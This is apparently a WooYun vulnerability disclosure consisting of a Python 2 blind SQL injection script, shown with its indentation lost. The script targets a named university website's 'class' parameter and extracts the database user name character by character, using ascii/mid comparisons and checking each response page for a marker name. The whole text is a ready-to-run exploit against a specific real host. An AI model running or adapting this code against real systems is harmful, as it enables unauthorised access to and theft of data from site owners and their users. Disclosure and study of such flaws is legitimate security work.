WooYun.org

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,20):
for payload in payloads:
conn = httplib.HTTPConnection('ipi.tongji.edu.cn', timeout=4)
s = " and ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))

params = "/?action=teachers&class=1" + urllib.quote(s)
conn.request(method='GET', url= params,headers = headers)
html_doc = conn.getresponse().read().decode('utf-8')
conn.close()
len_content=len(html_doc)
#print ('the content length is the %d' % (len_content))

if(html_doc.find(u'朱雪忠') > 0):
user+=payload
sys.stdout.write('\r[inprogress]%s' % user)
sys.stdout.flush()
break
else:
pass

print '\n[Done] User is:', user